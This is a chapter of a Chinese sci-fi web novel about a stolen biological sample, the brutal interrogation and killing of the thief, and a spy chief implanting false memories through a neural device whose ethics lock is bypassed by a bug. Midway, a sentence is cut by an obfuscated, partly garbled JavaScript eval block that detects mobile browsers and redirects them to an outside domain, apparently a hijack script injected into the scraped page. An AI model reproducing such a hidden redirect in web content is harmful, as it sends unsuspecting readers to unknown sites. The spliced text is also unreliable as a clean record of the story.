张参差 作品
29.失窃
嘿嘿,你看,把咱俩拍得挺好看的;
终端设备有自己的想法;
这是什么时候的照片,我怎么不知道?
……
当然也包括实话实说——就是想存下,舍不得删。
最终,他的策略是不解释,给楚霜一个眉眼弯弯的笑,甜得楚霜一激灵。
这无疑是上上策,他不扭捏倒让楚霜不好揪着鸡毛蒜皮不放。而楚霜不追问,同事们再想吃瓜,也没人敢僭越。
然后,苏信昭顺利翻出拍摄视频,交给刘微宇。
“监察长,”技术员调取所内信息记录有结果了,“闯入者没用虹膜和指纹识别,他用的是一级指令卡。”
一级指令卡的权限在寻常生物钥匙之上,多是虹膜、指纹识别失效时才会启用。
“卡片的归属者是谁?”刘微宇问。
这种权限不可能全所员工都有。
技术员回答:“卡片编码属于一名叫赵秉承的一级研究员,但从记录看,卡的识别度不灵敏,要刷三四次才能成功,应该是张复刻卡。”
刘微宇沉吟:“但闯入者会微调巡查间隔和摄像头,他依旧大概率是内部人,”他问李谨仁,“赵研究员人呢,最近有异常么?”
“现在是假期,不好说他在哪。至于异常……没有发觉。”李博士回答。
“那个……”苏信昭有话想说,楚霜示意他直说,“闯入者是在我做检查时调整监控的,如果不是提前定时,这期间他应该是在中控的。”
这是个重要线索,技术员眼睛一亮,即刻把监控往前倒,但他很快又泄气了:“那个人很谨慎,删除了今早到事发前时间段的监控。”
“备份呢?院里的本地监控会即时上传两个云端。”李博士追问。
“也删了。”
这更能说明潜入者对所内的日常运作熟悉,他甚至知道云设备的管理员密码。
“博士,人工智障不可靠吧?”楚霜似笑不笑。
未知生物样本于楚霜个人而言至关重要,李谨仁看他满不在乎,翻白他。老爷子有时候觉得楚霜皮囊里住了个老古董,他年纪轻轻看待智能设备的态度保守、陈旧极了。记得他刚做星航军统帅时,国研院的精新武器研究中心专门为他设计过一把枪,可到现在,那枪还被他贡品似的存着,压根没用过。
“程序出错是因为有设计漏洞,完善一下至少不会背叛。”李谨仁哼哼。
楚霜笑了:“人的背叛也是漏洞,有什么不一样吗?”
博士摆手,懒得跟他诡辩了:“他冲着未知生物来的,是不是有人针对你?这事你跟谁说过?”
“没说过。”楚霜摊手。
博士越想越来气,眼看化身液态气高压机,背着手在屋里来回溜达,脑瓜顶通个管子就能“呜呜”冒烟:“好不容易!好不容易啊!有点成果……”
“别气别气,下次看见活的我抓一筐带回来,”楚霜怕老头气性上头、口无遮拦赶快安慰,他又看刘微宇:“至于抓贼,是要仰仗刘监察长的。”
刘微宇一脑门子官司,没工夫扯皮,在安排工作之余抽嘴说楚霜:“没事快润吧,祖宗。别跟这破坏案发现场。”
楚霜没再接茬,等苏信昭做好笔录,带人离开了。
他其实不是多话的人,上车之后半个字都不再说了。
倒是苏信昭默默盘算:
听博士的言外之意,未知生物研究跟楚霜有关?
那这会不会是林氏的双线操作,一方面约楚霜讲和,一方面窃取他需要的东西获取新筹码?
……不对。
今天这出是需要较长时间谋划的,林砺来不及。
“你觉得幕后是谁?”苏信昭忍不住问。
楚霜眯着眼睛看他:“人嘛,确实需要独立思考的能力,否则意识形态会像块橡皮泥被捏成别人喜欢的模样,”说到这,他顿了顿,眼角晕开几不可见的笑,“但是呢,凡事有个度,想多了容易钻牛角尖。这事儿怎么都轮不到你操心、更不会影响你,放心吧小孩。”
苏信昭:……
他以为对方能说出什么惊世骇俗的言论,满心期待。结果一翻一瞪眼,人家拿他当小屁孩。
大半天一晃过去了。
天暗下来,星光穿透私人会馆的窗、落在地面上。
“嗖”一声响,高尔夫球杆挂风,敲出真实、清脆的撞击音。
全息模拟器让球飞得很远,击碎了远空的星光。
“先生,人带来了。”侍应不得不打扰男人的雅兴。
片刻,蒙住眼睛的人被带到男人面前。
“你们是谁,抓我干什么?你们知道我是谁吗?”他声音里透出紧张、虚张声势地嚎。
男人笑了下:“国研院一级研究员,赵秉承。好好的铁饭碗不端着,为什么监守自盗?”
赵秉承慌了。他明明做好了一切准备和善后:他的卡片“丢”了,被子虚乌有的嫌疑人复刻,然后“那个人”去研究所偷了生物样本,他“一无所知”。
帝国的法律太过人性化,对于“铁证”的规范严苛到变态。这让他能钻空子,他多半只会落个管理不善的罪名。
于是,他嘴硬:“你是谁?我下午已经把事实经过告诉国查院的人了,有人偷了我的指令卡……”
“你计划完美,但你还不知道吧,半路杀出个程咬金,你的行踪被人用个人终端录下来了,现在骨骼动线比对还没出结果而已。所以你该识相点,赶在国研院拿出铁证之前跟我说实话,”男人拍拍赵秉承的脸,“什么人指使你偷样本?”
赵秉承听对方声音很熟,下意识问:“你……你是谁,你的声音……”
然后,他马上闭嘴了,暗骂自己蠢。对方蒙着他的眼,意味着想给他留条活路,可他偏哪壶不开提哪壶。
男人皱了眉,冷“哼”一声,向身边两人示意。
二人一左一右把赵秉承放躺在高尔夫模拟场地上,看他不开窍地挣扎,一脚踹在他肚子上。
赵秉承闷哼一声,蜷成只虾米。
片刻,“虾米”又被拉直了,嘴里被塞上高尔夫球的全息成像器。
“叼住了,赵研究员。”一人嘱咐他。
“我看过一千多年前的□□老电影,那里都是这么玩的,早就想试试了,”男人的声音在赵秉承头顶传来,“你别动哦。”
“嗖——”一阵戾风从赵秉承脸前掠过,削得他脸疼、心脏砰砰跳。
“先生,一杆入洞,太厉害了。”稀稀拉拉的掌声响起来。
“咳,”男人抱怨,“模拟手感再真实也没意思,从那边拿个台球来,让赵研究员好好用嘴托住。”
赵秉承要吓尿了,视觉被剥夺加剧了恐慌——谁知道对方下一棍子要抡中哪里?
“你、你别这样……求你……”
“你要是起来,可就开瓢了。”男人笑着提醒。
“嗖——”他空挥一杆,没了球托,球杆离赵秉承更近了。
“哎呀!”赵秉承一嗓子鬼叫,音儿都破了,“你到底想问什么呀……”
这里跟他设想的不一样,没有尖端设备、药物,原始的拷完方法太没人性了。
“我刚才问过的话不想重复,”男人声音平和,“别动,第三杆要来喽。”
“别!别别别!我说!是……何、何天川!何议员。样本已经给他了!”
“他要样本做什么?”男人又问。
“我真不知道,只听他提过一嘴,要把东西送出枯砂要塞。”
男人嗤笑:前些天何天川还做和事佬平衡楚霜和登泛的关系,今天狐狸尾巴就露了。
他把杆一扔,往外走:“处理了。”
后半夜,赵秉承变成冰冷的尸体,随可释能垃圾被运往碳化再生空间站,化成机甲动能的源动力辅料。
第二天,刘微宇找他复核口供细节,发现赵秉承人间蒸发了。
同是这天,帝国正式向林砺提出:林氏如果将51%的股权无条件赠与帝国,那么帝国将不再追究林氏的私研失误,还可以暂时放过林楷。
林砺磕巴都没打就答应了,同时以个人名义赠与苏信昭一笔非常可观的赔偿费。
苏信昭得知消息并不高兴,他第一时间通过末那识呼叫沃伦克。
星联秘书长像一棵在办公室里生根发芽的草,什么时候都在看文件。
“你必定有重要的事吧,”政局变幻,沃伦克对苏信昭少了重视,“希望咱们不要耽误彼此的时间。”
“流浪黑洞或许是帝国人为事故造成的,如果我拿到切实证据,你就放我妈自由。”
老头金白色的眉毛往上挑,来了点兴致,掀眼皮看苏信昭:“可以。”
“先让我见见她。”苏信昭又说。
沃伦克看时间:“现在还早,你那里的凌晨,我帮你安排。”
然后他切断了通话,呼叫执行官:“让技术处紧急为末那识编写一段与苏岚相关的虚拟记忆,融入苏信昭今晚的睡眠训练里。”
末那识的研发者已经过世了,它被研发者加装过道德锁,恒定不变的铁律是不能侵害、欺骗宿主。
研发者还活着的时候,沃伦克曾试图游说、收买让他解除命令,但对方不同意。人没了以后,接手团队试图
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532008|170103||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
解锁,至今没成功。
只不过,沃伦克是个拧老头,惯爱一条道走到黑。他发现大门走不通,就会设计歪门邪道,比如跳窗、钻烟囱、挖地道。
终于,他手下的研发团队找到个bug——当信息融入睡眠训练时,末那识就会放宽“道德锁”阈值,仅仅保证宿主生命不受威胁。因为存在虚拟“凶险”的训练课程,更能让宿主进步。
执行官略有犹豫,还是提醒说:“先生,睡眠训练的部分意象是根据苏信昭的臆想而动,咱们总是这样给他植入虚拟记忆,容易引他怀疑,也容易引他臆想叛变……”
沃伦克扬手打断对方的话,他当然知道这些,但暂时没有更好的办法。苏信昭的新提议太诱人了。
云涌暗浮的夜。
马尔斯天上的重月被遮去一个。
天将亮未亮的时,楚霜被灯光闹铃“照”醒了。
他先循例摸过床头的终端看,总务办在夜里给他发来近十封催促函。
登泛总是在非工作时间发急函催鸡毛蒜皮的事,用以彰显他不是帝国最大的那只聋子耳朵。
楚霜看过、不打算理,刚把设备带在手腕上,那玩意就接连震响:
楚上将,信息中心的外宣通稿彻夜等着您的报告书呢,什么时候提交?
让同事加班加点地等,你却在家睡大觉,这对吗?
睡醒了是不是?
上将为什么已读不回?
楚霜忍无可忍,回复说:同是牛马,放养时间还要互通有无么?
然后他直接把登泛设为非工作时间消息不提示,抱怨一句“为什么许的”,打开文本输入界面,准备码他的小说。
他挠挠脑袋:上回书说到……说到哪儿来着?
往前面翻翻。
哦,上回书说到“男主为了掩藏身份,躲到情敌家床底下……”
楚霜捏眉心:这种烂俗狗血情节该怎么继续编下去?
就这时,走廊里突然传来一声低沉的叫喊。
很嘶哑,透出撕心裂肺的绝望。
大将军也是普通人,给吓得一激灵。
那不是幻听,智能管家老刘即便智障了,也不会天没亮就“嗷嗷嗷”叫唤,家里的活物只有他跟苏信昭。
哦,不对,现在还有小苏救回来的小狗,楚霜给取了个名叫苏旺财。
那小家伙在一楼守门,刚刚的声音也不会是它。
楚霜直奔苏信昭房间。
“小孩,刚才是你吗?”楚霜敲门。
屋里没反应,楚霜打算用终端开门。
他刚点亮界面,门“呼啦”一下开了。
苏信昭水鬼似的,从头到脚滴答水,睡衣皱巴巴地贴在身上,隐约透着身形轮廓和肉色。他整个人失魂落魄,脸色发惨,鼻子又流血了,被他抹得满手都是。
楚霜让他这鬼样子惊得抽凉气,但他没着急问,只是扶人进屋坐下,到卫生间拿来干毛巾和浴袍,先用毛巾揉揉对方的湿头发,跟着就要解他衣裳。
“我……”苏信昭被这动作招回半幅魂儿、往后缩,“我自己可以。”
他转过身迅速换衣服。
不过他动作再快,楚霜也看见了——年轻人身上有很多旧伤疤,交错盘布、深浅不一。
一段被扔进角落的记忆冒出头:二人在墨丘利初见时,给年轻人体检的医生提过,小苏身上有很多旧伤痕,多处骨骼有骨折后痊愈的增生痕,如果不是他三天两头打架,就是曾被虐待过。
楚霜当时听过没上心。
今天却是触目惊心了。
他想问、奈何时机不对,于是打算先叫老刘温一杯牛奶上来。
“别叫它、我没事……”苏信昭看出对方的意图,抬手按住楚霜手腕。
冰溜子一样的温度让楚霜皱眉,他看苏信昭,看到对方眼中的六神无主。
于楚霜而言,这类眼神不陌生,多见于军属得知亲人骤然离世、挣扎于信与不信之间。而最终,此类脑内博弈的结果总会是从拧巴自己到崩溃大哭的。
楚上将自以为知道苏信昭的个人经历,这孩子的爹是个星际游商,管生不管养的渣男一个,而他的母亲在他不到十岁时就病逝了。
“……做噩梦了?梦都是假的,”楚霜在苏信昭身边坐下,看到对方手背上的伤也有迸裂迹象、指骨关节隐约肿胀,“伤口我帮你重新处理一下。”
他说完,要去拿医药箱。
苏信昭恍恍惚惚看一眼手、毫不在意,他又蓦地抬眼看楚霜,眼神直勾勾的,藏着可怜。
“你……能抱我一下吗?”
这回不是耍心眼,他只是顺应本心这么问了。